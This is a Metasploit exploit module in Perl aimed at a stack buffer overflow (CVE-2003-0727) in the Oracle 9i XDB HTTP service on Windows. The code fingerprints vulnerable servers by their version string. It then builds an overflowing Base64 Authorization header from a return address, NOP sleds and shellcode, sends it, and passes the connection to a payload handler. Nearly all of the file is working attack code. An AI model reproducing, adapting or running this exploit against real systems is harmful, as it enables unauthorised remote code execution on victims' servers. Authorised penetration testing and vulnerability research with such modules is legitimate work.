oracle9i_xdb_http.pm.txt

`##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##  
  
package Msf::Exploit::oracle9i_xdb_http;  
use base "Msf::Exploit";  
use strict;  
use Pex::Text;  
  
my $advanced = { };  
  
my $info =  
{  
  
'Name' => 'Oracle 9i XDB HTTP PASS Overflow (win32)',  
'Version' => '$Revision: 1.1 $',  
'Authors' => [ 'y0 [at] w00t-shell.net', ],  
'Arch' => [ 'x86' ],  
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],  
'Priv' => 0,  
'UserOpts' =>  
{  
'RHOST' => [1, 'ADDR', 'The target address'],  
'RPORT' => [1, 'PORT', 'The target port', 8080],  
'SSL' => [0, 'BOOL', 'Use SSL'],  
},  
  
'AutoOpts' => { 'EXITFUNC' => 'thread' },  
'Payload' =>  
{  
'Space' => 450,  
'BadChars' => "\x00",  
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",  
'Keys' => ['+ws2ord'],  
},  
  
'Description' => Pex::Text::Freeform(qq{  
This module exploits a stack overflow in the authorization  
code of the Oracle 9i HTTP XDB service. David Litchfield,   
has illustrated multiple vulnerabilities in the Oracle  
9i XML Database (XDB), during a seminar on "Variations  
in exploit methods between Linux and Windows" presented  
at the Blackhat conference.   
}),  
  
'Refs' => [  
['BID', '8375'],  
['CVE', '2003-0727'],  
['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf']  
],  
  
'DefaultTarget' => 0,  
'Targets' => [  
  
['Oracle 9.2.0.1 Universal', 0x60616d46],  
  
],  
  
'Keys' => ['oracle'],  
  
'DisclosureDate' => 'Aug 18 2003',  
};  
  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);  
return($self);  
}  
  
sub Check {  
my ($self) = @_;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
'LocalPort' => $self->GetVar('CPORT'),  
'SSL' => $self->GetVar('SSL'),  
);  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return $self->CheckCode('Connect');  
}  
  
$s->Send("GET / HTTP/1.0\r\n\r\n");  
my $res = $s->Recv(-1, 20);  
$s->Close();  
  
if ($res !~ /9\.2\.0\.1\.0/) {  
$self->PrintLine("[*] This server does not appear to be vulnerable.");  
return $self->CheckCode('Safe');  
}  
  
$self->PrintLine("[*] Vulnerable installation detected :-)");  
return $self->CheckCode('Detected');  
}  
  
sub Exploit  
{  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
my $target_idx = $self->GetVar('TARGET');  
my $offset = $self->GetVar('OFFSET');  
my $shellcode = $self->GetVar('EncodedPayload')->Payload;  
my $target = $self->Targets->[$target_idx];  
  
if (! $self->InitNops(128)) {  
$self->PrintLine("[*] Failed to initialize the nop module.");  
return;  
}  
  
my $splat =  
"meta:". Pex::Text::LowerCaseText(442). "\xeb\x64\x42\x42".  
pack('V', $target->[1]). "wwwwoooottttsssshhhhllll".  
$self->MakeNops(242). "\xeb\x10". $self->MakeNops(109). $shellcode;  
  
my $sploit =  
"GET / HTTP/1.1". "\r\n".  
"Host: $target_host:$target_port". "\r\n".  
"User-Agent: Mozilla/5.0 (X11; U; Linux i686;".  
"en-US; rv:1.7.12) Gecko/20050923". "\r\n".  
"Accept: text/xml,application/xml,application".  
"/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,".  
"image/png,*/*;q=0.5". "\r\n".  
"Accept-Language: en-us,en;q=0.5". "\r\n".  
"Accept-Encoding: gzip,deflate". "\r\n".  
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7". "\r\n".  
"Keep-Alive: 300". "\r\n".  
"Connection: keep-alive". "\r\n".  
"Authorization: Basic ". Pex::Text::Base64Encode($splat, '').  
"\r\n\r\n";  
  
$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));  
  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
'LocalPort' => $self->GetVar('CPORT'),  
'SSL' => $self->GetVar('SSL'),  
);  
if ($s->IsError) {  
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);  
return;  
}  
  
$s->Send($sploit);  
$self->Handler($s);  
$s->Close();  
return;  
}  
  
1;  
`